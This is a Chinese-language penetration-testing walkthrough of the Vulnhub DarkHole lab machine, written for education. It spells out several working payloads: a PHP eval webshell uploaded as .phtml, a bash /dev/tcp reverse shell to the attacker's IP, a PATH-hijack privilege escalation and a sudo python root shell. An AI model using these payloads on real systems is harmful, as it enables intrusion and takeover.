Vulnlab_DarkHole靶机渗透笔记
本文最后更新于 2024-07-26,文章内容可能已经过时。
DarkHole靶机渗透实战笔记
免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠
实验环境:
kali(vmware) ip:192.168.91.129(NAT) ip:192.168.228.4(仅主机)
Vikings靶机(virtualBox)
kali配置了两张网卡,其中一张仅主机的网卡和靶机vitualbox相连。
virtualBox开启靶机:
kali查看ip地址
靶机下载地址:
https://www.vulnhub.com/entry/darkhole-1,724/
(ps:在打靶的过程中,发现靶机的网络很不稳定,经常莫名其妙的断开,这个靶机应该会检测如果有暴力扫描或则破解,就会断开网络连接。解决办法只能重启靶机)
主机发现
nmap -p- 192.168.228.0/24
发现靶机ip为192.168.228.16,开启了22,80端口
信息搜集
T4快速扫描靶机详细信息
nmap -T4 -A -sV -O 192.168.228.16
80端口开启了Apache/2.4.41 (Ubuntu)服务,标题:DarkHole,浏览器尝试访问
新区域,未来之城。F12查看源码后也没发现什么有用的,点击中间的View Details无反应,点击左上角的Login,跳转到新页面
/login.php用户登录界面,不知道密码,先放着。
子域名爆破
使用子域名爆破工具爆破一下:
使用gobuster扫描
#使用gobuster扫描
gobuster dir -u 192.168.228.16 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x .php,.html,.txt,.bak,.passwd
访问扫描出来的页面
/config页面,有一个database.php文件,应该是连接数据库用的配置文件,没啥用
/upload页面,就一张图,没啥可以利用的
用nmap扫描下基本漏洞:
nmap --script=vuln -p 22,80 192.168.228.16
没有可以利用的信息
指纹识别
whatweb是一款网页指纹识别工具,可以从网页内容与源代码中提取特征,判断网页后端技术。
whatweb -v http://192.168.228.16
-v 参数表示启用冗余模式,可以获取更详细的识别信息
没有可以利用的信息,看来只能从登录界面下手了。
注册一个账号,登录尝试
(test,Mudi@138653)
输入注册的账号和密码,点击登录跳转到新的页面,页面中两个功能,一个是更新基本信息,一个是更改密码的。
更改url上的id后提示,不允许访问其他用户信息,id应该是用来区分用户的,这里不许访问,但是有,猜测应该是管理员账户
漏洞利用
这里既然id来区分用户,说明应该有垂直越权漏洞,修改密码后抓包并且修改id=1,看看能不能获取到管理员账户
显示修改成功了
ID=1是管理员账号,尝试用修改的密码登录
(admin,123456)
成功登录,进入管理员账户页面,发现有UPload上传的功能
编写一句话木马,上传试试
<?php @eval($_POST['aaa']);?>
上传php文件发现有限制,抓包后上传尝试其他类型文件,经测试php4、php5、PHP都能上传(只拦截了php),但是无法执行,只有phtml文件可以执行
抓包,修改后缀名为phtml,放包显示上传成功。
蚁剑进行连接
(PS:这里我用的是vitualbox仅主机模式,在连接的时候,连接不上,需要另外开一台能连接上靶机ip的主机进行连接)
简单搜索目录,在home目录下发现了password和user.txt,但是点开后都没有内容
发现一个名为toto的文件,点开查看发现是可执行文件
利用查看查看一下phpinfo基本信息
将蚁剑的shell反弹给kali
kali开启监听
nc -lnvp 1234
蚁剑右键进入虚拟终端,输入如下payload
bash -c 'bash -i >& /dev/tcp/192.168.228.4/1234 0>&1'
#192.168.228.4是kali的ip地址
kali成功获取到反弹回来的shell,发现不是root权限。需要进行提权
提权
cd到home目录的john目录下。查看user.txt和password,发现没有权限,说明还是有东西的。
查看一下刚才的toto文件,发现uid那里是john的。但是之前ls -al查看又属于root组,这里可以利用环境变量通过/tmp目录切换得到john用户的shell
输入如下payload
echo "/bin/bash" > /tmp/id
chmod +x /tmp/id
export PATH=/tmp:$PATH
./toto
#解释如下
echo "/bin/bash" > /tmp/id : 在/tmp目录下创建一个文件id,内容是/bin/bash
chmod +x /tmp/id : 给id文件添加执行权限
export PATH=/tmp:$PATH : 将/tmp目录添加到PATH环境变量中修改环境变量的攻击,这种通过修改PATH实现攻击的技术,我们称之为PATH变量攻击。攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。
成功读取到user.txt和password文件的内容
user.txt:
DarkHole{You_Can_DO_It}
password:
root123
Getshell
用获取到的pasword密码,进行ssh连接,登录john用户
sudo -l搜索具有sudo权限的命令后发现一个在file.py的python脚本可以编辑执行root权限
将获取到的shell命令加入到python脚本中执行,成功获取到root权限的shell
echo 'import os;os.system("/bin/bash")' > file.py
sudo python3 /home/john/file.py
在root的根目录成功获取到root权限的flag:
DarkHole{You_Are_Legend}
总结
- 基本信息搜集,其中使用whatweb网页指纹识别工具扫描网页指纹信息。
- 利用垂直越权漏洞获取到页面后台管理员的操作页面
- 在管理员后台页面上传php木马,更改后缀名为phtml成功连接蚁剑。反弹shell给kali
- 在home/john目录下发现可执行文件toto,发现是root组的,联想到PATH攻击进行提权
- 使用PATH攻击技术进行提权,攻击者通过控制某个目录或文件的名称,并修改PATH环境变量,使得该目录下的某文件在执行某些命令时被执行,达到攻击目的。
- 最后编写执行root权限的python脚本获取到root权限的shell
- 感谢你赐予我前进的力量